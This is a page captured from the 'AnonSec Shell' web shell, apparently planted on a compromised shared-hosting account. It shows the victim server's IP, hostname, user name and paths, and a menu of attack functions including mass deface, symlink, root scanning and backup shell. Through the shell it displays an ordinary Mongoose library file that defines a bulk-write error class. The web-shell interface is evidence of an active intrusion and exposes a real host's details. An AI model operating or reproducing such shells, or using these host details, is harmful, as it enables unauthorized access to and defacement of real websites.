AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.117.186.131   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/needapair.com/node_modules/mongoose/lib/error/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/needapair.com/node_modules/mongoose/lib/error/bulkWriteError.js
/*!
 * Module dependencies.
 */

'use strict';

const MongooseError = require('./');


/**
 * If `bulkWrite()` or `insertMany()` has validation errors, but
 * all valid operations succeed, and 'throwOnValidationError' is true,
 * Mongoose will throw this error.
 *
 * @api private
 */

class MongooseBulkWriteError extends MongooseError {
  constructor(validationErrors, results, rawResult, operation) {
    let preview = validationErrors.map(e => e.message).join(', ');
    if (preview.length > 200) {
      preview = preview.slice(0, 200) + '...';
    }
    super(`${operation} failed with ${validationErrors.length} Mongoose validation errors: ${preview}`);

    this.validationErrors = validationErrors;
    this.results = results;
    this.rawResult = rawResult;
    this.operation = operation;
  }
}

Object.defineProperty(MongooseBulkWriteError.prototype, 'name', {
  value: 'MongooseBulkWriteError'
});

/*!
 * exports
 */

module.exports = MongooseBulkWriteError;

Anon7 - 2022
AnonSec Team